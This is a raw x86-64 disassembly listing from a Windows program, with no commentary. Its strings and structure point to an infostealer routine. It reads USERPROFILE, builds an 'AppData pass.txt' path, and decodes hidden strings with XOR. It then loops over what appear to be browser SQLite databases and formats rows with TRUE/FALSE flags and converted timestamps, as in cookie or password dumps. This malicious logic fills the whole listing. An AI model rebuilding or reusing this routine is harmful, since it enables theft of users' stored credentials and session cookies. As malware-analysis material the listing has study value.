jmp 0x140003b60
test rbx, rbx
je 0x140003bb5
shl rbx, 4
lea rdx, [rbx + rbx*2]
mov r8d, 8
mov rcx, rsi
call fcn.140022710
mov qword [rsp + 0x2c8], 0
mov qword [rsp + 0x2d0], 8
mov qword [rsp + 0x2d8], 0
lea rdx, str.USERPROFILE
lea rcx, [rsp + 0x30]
mov r8d, 0xb
call fcn.140124140
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x30], rax
movabs r12, 0x8000000000000000
jne 0x14000699e
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x420], rax
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov qword [rsp + 0x20], 7
lea r9, str.AppData_pass.txt
lea rcx, [rsp + 0x380]
mov qword [rsp + 0x5f0], rdx
call fcn.1401298c0
lea rcx, [rsp + 0xf0]
call fcn.1400069f0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x418], rax
mov rdx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
lea rcx, [rax + rax*2]
lea r13, [rdx + rcx*8]
mov rdi, rdx
test rax, rax
mov qword [rsp + 0x5e8], rdx
je 0x140005d2f
lea r15, [rsp + 0x38]
xorps xmm6, xmm6
lea rbp, [rsp + 0x30]
mov rax, rdx
mov qword [rsp + 0x428], r13
jmp 0x140003cc4
mov rcx, qword [rsp + 0x340]
mov rax, rcx
cmp rcx, r13
je 0x140005d82
lea rcx, [rax + 0x18]
mov qword [rsp + 0x340], rcx
mov rsi, qword [rax]
cmp rsi, r12
je 0x140005d27
mov rdi, qword [rax + 8]
mov rbx, qword [rax + 0x10]
lea rcx, [rsp + 0x380]
call fcn.140130760
mov r8, rdx
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x350]
mov rdx, rax
mov r9, rdi
call fcn.1401298c0
test rsi, rsi
je 0x140003d22
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call fcn.140022710
mov rdi, qword [rsp + 0x358]
mov rsi, qword [rsp + 0x360]
test rsi, rsi
je 0x140003d70
js 0x1400065d7
movzx eax, byte [0x14034bf01]
mov r14d, 1
mov edx, 1
mov rcx, rsi
call fcn.140022700
test rax, rax
je 0x1400065da
mov rbx, rax
jmp 0x140003d75
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0x100], rsi
movzx eax, byte [rsp + 0x368]
mov byte [rsp + 0x108], al
lea rcx, [rsp + 0x2e0]
lea rbx, [rsp + 0xf0]
mov rdx, rbx
call fcn.140008b30
lea rsi, [rsp + 0x350]
mov rcx, rsi
call fcn.140130760
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.14012e1c0
cmp dword [rsp + 0xf0], 2
jne 0x140003e40
mov rsi, qword [rsp + 0xf8]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x14000525f
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x140003e15
mov rcx, rdi
call rax
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140003e2a
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.140022710
dec rsi
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
jmp 0x14000525a
lea rdi, [rsp + 0x430]
mov rcx, rdi
mov rdx, rsi
call fcn.140008200
lea rcx, [rsp + 0x2f8]
mov rdx, rdi
call fcn.140008680
mov rcx, rdi
call fcn.140130760
mov rsi, rax
mov rdi, rdx
lea rax, [0x14028babb]
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0xf0]
movabs rax, 0x536214efc5bf9c81
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
call fcn.140014610
mov rcx, qword [rax]
movabs rdx, 0x719cd0becffb0803
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x1b
xor r8b, 0xca
xor dl, 0xe7
mov qword [rsp + 0xf0], rcx
mov byte [rsp + 0xf8], al
mov byte [rsp + 0xf9], r8b
mov byte [rsp + 0xfa], dl
mov qword [rsp + 0x20], 0xb
lea rcx, [rsp + 0x450]
mov rdx, rsi
mov rsi, rcx
mov r8, rdi
mov r9, rbx
call fcn.1401298c0
mov rcx, rsi
call fcn.140130760
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.14012e1c0
cmp dword [rsp + 0xf0], 2
jne 0x140003f90
mov rsi, qword [rsp + 0xf8]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x140003fa9
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x140003f56
mov rcx, rdi
call rax
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140003f6b
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.140022710
dec rsi
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call fcn.140022710
jmp 0x140003fa9
mov rcx, rbx
mov rdx, rsi
call fcn.14001e6b0
cmp qword [rsp + 0xf0], r12
jne 0x140004047
mov rdx, qword [rsp + 0x450]
test rdx, rdx
je 0x140003fc9
mov rcx, qword [rsp + 0x458]
mov r8d, 1
call fcn.140022710
mov rsi, qword [rsp + 0x300]
mov rdi, qword [rsp + 0x308]
test rdi, rdi
je 0x140004020
lea rbx, [rsi + 8]
jmp 0x140003ff9
add rbx, 0x18
dec rdi
je 0x140004020
mov rdx, qword [rbx - 8]
test rdx, rdx
je 0x140003ff0
mov rcx, qword [rbx]
mov r8d, 1
call fcn.140022710
jmp 0x140003ff0
mov rax, qword [rsp + 0x2f8]
test rax, rax
je 0x14000523f
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, rsi
jmp 0x14000523a
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x3d0], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x3c0], xmm0
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x410], rax
mov rdx, qword [rsp + 0x300]
mov rax, qword [rsp + 0x308]
lea rcx, [rax + rax*2]
lea rcx, [rdx + rcx*8]
mov qword [rsp + 0x330], rcx
mov qword [rsp + 0x5e0], rdx
mov rdi, rdx
test rax, rax
jne 0x14000411e
mov r8, qword [rsp + 0x330]
mov rax, r8
sub rax, rdi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r8, rdi
je 0x1400051d7
mov rsi, rdx
shr rsi, 4
add rdi, 8
jmp 0x1400040ed
add rdi, 0x18
dec rsi
je 0x1400051d7
mov rdx, qword [rdi - 8]
test rdx, rdx
je 0x1400040e0
mov rcx, qword [rdi]
mov r8d, 1
call fcn.140022710
jmp 0x1400040e0
cmp rdi, qword [rsp + 0x330]
je 0x1400051d7
mov rcx, rdi
mov rax, qword [rdi]
movups xmm0, xmmword [rdi + 8]
add rdi, 0x18
movaps xmmword [rsp + 0x660], xmm0
cmp rax, r12
je 0x1400040a7
mov qword [rsp + 0x338], rdi
mov qword [rsp + 0x2b0], rax
movaps xmm0, xmmword [rsp + 0x660]
lea rax, [rsp + 0x2b8]
movups xmmword [rax], xmm0
lea rbx, [rsp + 0xf0]
mov rcx, rbx
lea rdx, [rsp + 0x2b0]
call fcn.14013ae80
lea rsi, [rsp + 0x3a0]
mov rcx, rsi
lea rdx, [rsp + 0x430]
mov r8, rbx
call fcn.140008450
mov rcx, rsi
call fcn.140130760
mov rsi, rax
mov rdi, rdx
lea rax, [0x140288e81]
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0xf0]
movabs rax, 0xbae5ecb79e55251
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
call fcn.140014690
mov ecx, dword [rax]
mov edx, 0x117f453c
xor ecx, edx
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0xd0
xor dl, 0x83
xor r8b, 0xcf
movzx r8d, r8b
mov byte [rsp + 0x96], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x90], ecx
shr rax, 0x20
mov word [rsp + 0x94], ax
mov qword [rsp + 0x20], 7
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
lea r9, [rsp + 0x90]
call fcn.1401298c0
mov rcx, rbx
call fcn.140130760
mov rsi, rax
mov rdi, rdx
lea rax, [0x140287664]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x6f6eda0cfd85ece5
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400140f0
mov ecx, dword [rax]
mov edx, 0x135ece73
xor ecx, edx
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0x5b
xor dl, 0xac
xor r8b, 0x89
movzx r8d, r8b
mov byte [rsp + 0x36], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x30], ecx
shr rax, 0x20
mov word [rsp + 0x34], ax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x520]
mov rdx, rsi
mov r8, rdi
mov r9, rbp
call fcn.1401298c0
mov rdx, qword [rsp + 0xf0]
test rdx, rdx
je 0x140004312
mov rcx, qword [rsp + 0xf8]
mov r8d, 1
call fcn.140022710
lea rdi, [rsp + 0x520]
mov rcx, rdi
call fcn.140130760
mov r8, rdx
lea rsi, [rsp + 0xf0]
mov rcx, rsi
mov rdx, rax
call fcn.14012e1c0
cmp dword [rsp + 0xf0], 2
jne 0x140004410
mov rsi, qword [rsp + 0xf8]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x140004398
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x14000436d
mov rcx, rdi
call rax
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140004382
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.140022710
dec rsi
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call fcn.140022710
mov rdx, qword [rsp + 0x520]
test rdx, rdx
mov rdi, qword [rsp + 0x338]
je 0x1400043c0
mov rcx, qword [rsp + 0x528]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x3a0]
test rdx, rdx
je 0x1400043e0
mov rcx, qword [rsp + 0x3a8]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x2b0]
test rdx, rdx
je 0x140004110
mov rcx, qword [rsp + 0x2b8]
mov r8d, 1
call fcn.140022710
jmp 0x140004110
mov qword [rsp + 0x270], 0
mov qword [rsp + 0x278], 1
mov qword [rsp + 0x280], 0
mov rcx, rdi
call fcn.140130760
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.140027420
movzx ebx, byte [rsp + 0xf0]
cmp bl, 0x13
jne 0x1400065e5
mov rcx, rsi
mov rsi, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0x100]
mov qword [rsp + 0x20], 0
mov rdx, rsi
mov r8, rdi
mov r9d, 1
call fcn.140026a20
movzx r9d, byte [rsp + 0xf0]
cmp r9b, 0x13
jne 0x1400044f0
lea rcx, [rsp + 0xf8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x140291020]
movaps xmmword [rsp + 0x30], xmm0
movups xmmword [r15 + 8], xmm6
mov ecx, 0x10
xor edx, edx
lea r12, [0x140291000]
xor ebx, ebx
xor r14d, r14d
mov byte [rsi], 0
test rdi, rdi
jne 0x140004539
jmp 0x14000455c
mov rbx, qword [rsp + 0xf0]
mov r12, qword [rsp + 0xf8]
mov r14, rbx
shr r14, 8
mov rdx, qword [rsp + 0x100]
lea rax, [rsp + 0xf8]
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
mov rcx, qword [rsp + 0x128]
mov byte [rsi], 0
test rdi, rdi
je 0x14000455c
mov r8d, 1
mov r13, rcx
mov rcx, rsi
mov rsi, rdx
mov rdx, rdi
mov edi, r9d
call fcn.140022710
mov r9d, edi
mov rdx, rsi
mov rcx, r13
cmp r9b, 0x13
jne 0x14000663b
shl r14, 8
movzx eax, bl
or rax, r14
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x478], r12
mov qword [rsp + 0x480], rdx
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
lea rax, [rsp + 0x488]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x4a8], rcx
mov qword [rsp + 0x4b0], 0
mov rax, qword [rsp + 0xa0]
lea rsi, [rsp + 0x4b8]
mov qword [rsi + 0x10], rax
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsi], xmm0
lea rax, [0x140282a81]
mov qword [rsp + 0xf0], rax
lea r12, [rsp + 0xf0]
mov rcx, qword [rsp + 0xf0]
movabs rax, 0xbcdab9ea9fe17aa7
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
call fcn.1400151e0
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm6
mov qword [rsp + 0x140], 0
mov rcx, 0xfffffffffffffff8
lea r8, [0x140291370]
nop word cs:[rax + rax]
mov rdx, qword [rcx + r8 + 8]
xor rdx, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0xf8], rdx
add rcx, 8
cmp rcx, 0x50
jb 0x140004660
movzx ecx, byte [rax + 0x5a]
movzx eax, word [rax + 0x58]
mov edx, eax
shr edx, 8
xor al, 0x3f
xor dl, 0xbe
mov byte [rsp + 0x148], al
mov byte [rsp + 0x149], dl
xor cl, 0x60
mov byte [rsp + 0x14a], cl
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
movaps xmm3, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x60], xmm3
movaps xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x13b]
mov qword [rsp + 0x7b], rax
mov eax, dword [rsp + 0x143]
mov dword [rsp + 0x83], eax
movzx eax, byte [rsp + 0x147]
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0x148]
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x149]
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x8a], al
cmp qword [rsp + 0x4b0], 0
jne 0x14000650c
mov qword [rsp + 0x4b0], 0xffffffffffffffff
mov qword [rsp + 0x20], 0x5b
mov rcx, r12
mov rdx, rsi
lea r8, [rsp + 0x470]
mov r9, rbp
call fcn.140027000
inc qword [rsp + 0x4b0]
cmp qword [rsp + 0xf0], 0
je 0x1400066b5
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x510], rax
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
movups xmm3, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x500], xmm3
movaps xmmword [rsp + 0x4f0], xmm2
movaps xmmword [rsp + 0x4e0], xmm1
movaps xmmword [rsp + 0x4d0], xmm0
mov rcx, qword [rsp + 0x508]
call fcn.140173b00
test eax, eax
jne 0x14000668b
lea rdi, [rsp + 0x4d0]
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], 0
mov eax, 1
mov qword [rsp + 0x348], rax
xor r13d, r13d
jmp 0x140004841
mov rdi, qword [rsp + 0x370]
test rdi, rdi
je 0x140004cfe
mov rcx, qword [rdi + 0x38]
call fcn.1401745e0
cmp eax, 0x64
jne 0x140004ce0
mov qword [rsp + 0x378], rdi
mov rcx, rbp
lea rdi, [rsp + 0x378]
mov rdx, rdi
xor r8d, r8d
call fcn.14001d280
cmp byte [rsp + 0x30], 0x13
jne 0x1400062f8
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x2a0], rax
movups xmm0, xmmword [r15]
movaps xmmword [rsp + 0x290], xmm0
mov r8d, 1
mov rcx, rbp
mov rdx, rdi
call fcn.14001d100
cmp byte [rsp + 0x30], 0x13
jne 0x1400062b8
mov rsi, qword [rsp + 0x38]
mov r8d, 2
mov rcx, rbp
mov rdx, rdi
call fcn.14001d280
cmp byte [rsp + 0x30], 0x13
jne 0x1400063b1
mov qword [rsp + 0x268], r13
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x400], rax
movups xmm0, xmmword [r15]
movaps xmmword [rsp + 0x3f0], xmm0
mov r8d, 3
mov rcx, rbp
mov rdx, rdi
call fcn.14001d100
cmp byte [rsp + 0x30], 0x13
jne 0x14000623b
mov r13, r15
mov r14, qword [rsp + 0x38]
mov r8d, 4
mov rcx, rbp
mov rdx, rdi
call fcn.14001d100
cmp byte [rsp + 0x30], 0x13
jne 0x140006338
mov rbx, r12
mov r15, qword [rsp + 0x38]
mov r8d, 5
mov rcx, rbp
mov rdx, rdi
call fcn.14001d280
cmp byte [rsp + 0x30], 0x13
jne 0x1400063f1
mov rcx, rbp
mov rbp, r13
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x320], rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x310], xmm0
mov r8d, 6
mov r12, rcx
mov rdx, rdi
call fcn.14001d510
cmp byte [rsp + 0x30], 0x13
jne 0x140006278
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x570], rax
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0x560], xmm0
xor eax, eax
cmp r14, 1
sete al
lea rcx, [0x1402914c4]
lea rdx, str.TRUEFALSE
cmove rcx, rdx
xor rax, 5
mov qword [rsp + 0x580], rcx
mov qword [rsp + 0x588], rax
movabs rax, 0xffd6a169b779c000
add r15, rax
cmp r15, 0xfffffffffff0bdc1
jge 0x140004a00
xor edx, edx
jmp 0x140004a1e
mov rax, r15
movabs rcx, 0x431bde82d7b634db
imul rcx
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x12
add rdx, rax
mov rbp, r12
mov qword [rsp + 0x5f8], rdx
lea rcx, [rsp + 0x598]
lea rdx, [rsp + 0x560]
lea r8, [rsp + 0x3c0]
call fcn.14001dbe0
xor eax, eax
cmp rsi, 1
sete al
lea rcx, [0x1402914c4]
lea rdx, str.TRUEFALSE
cmove rcx, rdx
xor rax, 5
mov qword [rsp + 0x250], rcx
mov qword [rsp + 0x258], rax
mov rdi, qword [rsp + 0x5a0]
mov r8, qword [rsp + 0x5a8]
mov rcx, rbx
mov rdx, rdi
call fcn.1401445e0
cmp qword [rsp + 0xf0], 0
jne 0x140006378
mov r15, r13
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0x3d8], xmm0
lea rax, [rsp + 0x290]
mov qword [rsp + 0xf0], rax
lea rax, [0x140002030]
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x250]
mov qword [rsp + 0x100], rcx
lea rcx, [0x140019440]
mov qword [rsp + 0x108], rcx
lea rdx, [rsp + 0x3f0]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
lea rdx, [rsp + 0x580]
mov qword [rsp + 0x120], rdx
mov qword [rsp + 0x128], rcx
lea rdx, [rsp + 0x5f8]
mov qword [rsp + 0x130], rdx
lea rdx, [0x140148020]
mov qword [rsp + 0x138], rdx
lea rdx, [rsp + 0x310]
mov qword [rsp + 0x140], rdx
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x3d8]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rcx
lea rax, [0x1402914f0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 8
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
lea rcx, [rsp + 0x90]
mov rdx, rbp
call fcn.140139dc0
mov r12, qword [rsp + 0x90]
mov r14, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x270]
mov r13, qword [rsp + 0x268]
sub rax, r13
cmp rax, rbx
jb 0x140004ca3
mov rax, qword [rsp + 0x348]
lea rcx, [rax + r13]
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r13, rbx
mov qword [rsp + 0x280], r13
test r12, r12
je 0x140004c17
mov r8d, 1
mov rcx, r14
mov rdx, r12
call fcn.140022710
mov rdx, qword [rsp + 0x598]
test rdx, rdx
je 0x140004c32
mov r8d, 1
mov rcx, rdi
call fcn.140022710
mov rdx, qword [rsp + 0x310]
test rdx, rdx
lea r12, [rsp + 0xf0]
je 0x140004c5a
mov rcx, qword [rsp + 0x318]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x3f0]
test rdx, rdx
je 0x140004c7a
mov rcx, qword [rsp + 0x3f8]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x290]
test rdx, rdx
je 0x140004830
mov rcx, qword [rsp + 0x298]
mov r8d, 1
call fcn.140022710
jmp 0x140004830
lea rcx, [rsp + 0x270]
mov rdx, r13
mov r8, rbx
call fcn.1402864b0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x348], rax
mov r13, qword [rsp + 0x280]
jmp 0x140004bdf
cmp eax, 0x65
jne 0x140005f91
mov qword [rsp + 0x370], 0
mov rcx, qword [rdi + 0x38]
call fcn.1401493b0
mov qword [rsp + 0x378], 0
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x90], rax
lea rcx, [0x140002030]
mov qword [rsp + 0x98], rcx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rcx
lea rax, [0x140291580]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov rcx, r12
mov rdx, rbp
call fcn.140139dc0
mov rax, qword [rsp + 0x280]
lea rcx, [rsp + 0xf8]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmmword [rcx + 0x10], xmm0
mov rsi, qword [rsp + 0x2d8]
cmp rsi, qword [rsp + 0x2c8]
jne 0x140004dbf
lea rcx, [rsp + 0x2c8]
call fcn.14001abf0
mov rax, qword [rsp + 0x2d0]
lea rcx, [rsi + rsi*2]
shl rcx, 4
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
movups xmmword [rax + rcx + 0x20], xmm2
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rsi
mov qword [rsp + 0x2d8], rsi
mov rax, qword [rsp + 0x370]
test rax, rax
movabs r12, 0x8000000000000000
mov r13, qword [rsp + 0x428]
je 0x140004e28
mov rcx, qword [rax + 0x38]
call fcn.1401493b0
movaps xmm0, xmmword [rsp + 0x4d0]
movaps xmm1, xmmword [rsp + 0x4e0]
movaps xmm2, xmmword [rsp + 0x4f0]
movaps xmm3, xmmword [rsp + 0x500]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
mov rax, qword [rsp + 0x510]
mov rcx, qword [rsp + 0x128]
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], 0
mov rdi, qword [rsp + 0xf0]
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0xf8], xmm6
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x108]
mov qword [rsp + 0x110], 0
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x118]
mov qword [rsp + 0x118], 0
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rax
call fcn.1401492c0
mov esi, eax
mov qword [rsp + 0x60], 0
mov rcx, rbp
call fcn.140027110
lea rcx, [rsp + 0x38]
call fcn.14000e9e0
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x140004f20
lock dec qword [rax]
jne 0x140004f20
lea rcx, [rsp + 0x50]
call fcn.14000df60
mov rax, qword [rdi + 0x40]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140006500
lea rcx, [rax + 1]
mov qword [rdi + 0x40], rcx
test esi, esi
jne 0x14000518a
mov byte [rsp + 0x90], 0x13
mov qword [rdi + 0x40], rax
mov rcx, qword [rsp + 0x128]
mov rax, qword [rsp + 0x130]
movups xmmword [rsp + 0x128], xmm6
mov rdi, qword [rsp + 0xf0]
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0xf8], xmm6
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x68], rax
call fcn.1401492c0
mov esi, eax
mov qword [rsp + 0x60], 0
mov rcx, rbp
call fcn.140027110
lea rcx, [rsp + 0x38]
call fcn.14000e9e0
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x140004feb
lock dec qword [rax]
jne 0x140004feb
lea rcx, [rsp + 0x50]
call fcn.14000df60
mov rax, qword [rdi + 0x40]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140006500
lea rcx, [rax + 1]
mov qword [rdi + 0x40], rcx
test esi, esi
jne 0x1400051aa
mov qword [rdi + 0x40], rax
lea rcx, [rsp + 0xf8]
call fcn.140027110
lea rcx, [rsp + 0x100]
call fcn.14000e9e0
mov rax, qword [rsp + 0x118]
test rax, rax
mov rdi, qword [rsp + 0x338]
je 0x140005058
lock dec qword [rax]
jne 0x140005058
lea rcx, [rsp + 0x118]
call fcn.14000df60
cmp byte [rsp + 0x90], 0x13
jne 0x140006721
movups xmm0, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rsp + 0x470]
movups xmm1, xmmword [rsp + 0x480]
movups xmm2, xmmword [rsp + 0x490]
movups xmm3, xmmword [rsp + 0x4a0]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x90]
call fcn.140002360
cmp qword [rsp + 0xd0], 0
jne 0x140006518
mov qword [rsp + 0xd0], 0xffffffffffffffff
lea rcx, [rsp + 0x598]
lea rdx, [rsp + 0xd8]
call fcn.140026e00
inc qword [rsp + 0xd0]
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
movzx eax, byte [rsp + 0x598]
cmp al, 0x13
jne 0x14000676d
mov rcx, rbp
call fcn.1400010b0
mov rdx, qword [rsp + 0x520]
test rdx, rdx
jne 0x1400043ad
jmp 0x1400043c0
mov rdx, qword [rdi + 0x50]
lea rcx, [rsp + 0x90]
mov r8d, esi
call fcn.140286610
mov rax, qword [rdi + 0x40]
dec rax
jmp 0x140004f4f
mov rdx, qword [rdi + 0x50]
mov rcx, rbp
mov r8d, esi
call fcn.140286610
movzx eax, byte [rsp + 0x30]
dec qword [rdi + 0x40]
cmp al, 0x13
je 0x140005016
mov rcx, rbp
call fcn.140001310
jmp 0x140005016
mov rax, qword [rsp + 0x410]
test rax, rax
je 0x1400051ff
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, qword [rsp + 0x5e0]
call fcn.140022710
mov rdx, qword [rsp + 0x3c0]
test rdx, rdx
je 0x14000521f
mov rcx, qword [rsp + 0x3c8]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x450]
test rdx, rdx
je 0x14000523f
mov rcx, qword [rsp + 0x458]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x430]
test rdx, rdx
je 0x14000525f
mov rcx, qword [rsp + 0x438]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x2e0]
test rdx, rdx
je 0x14000527f
mov rcx, qword [rsp + 0x2e8]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x350]
test rdx, rdx
je 0x140003cb0
mov rcx, qword [rsp + 0x358]
mov r8d, 1
call fcn.140022710
jmp 0x140003cb0
lea rbx, [rsp + 0x90]
jmp 0x1400052ea
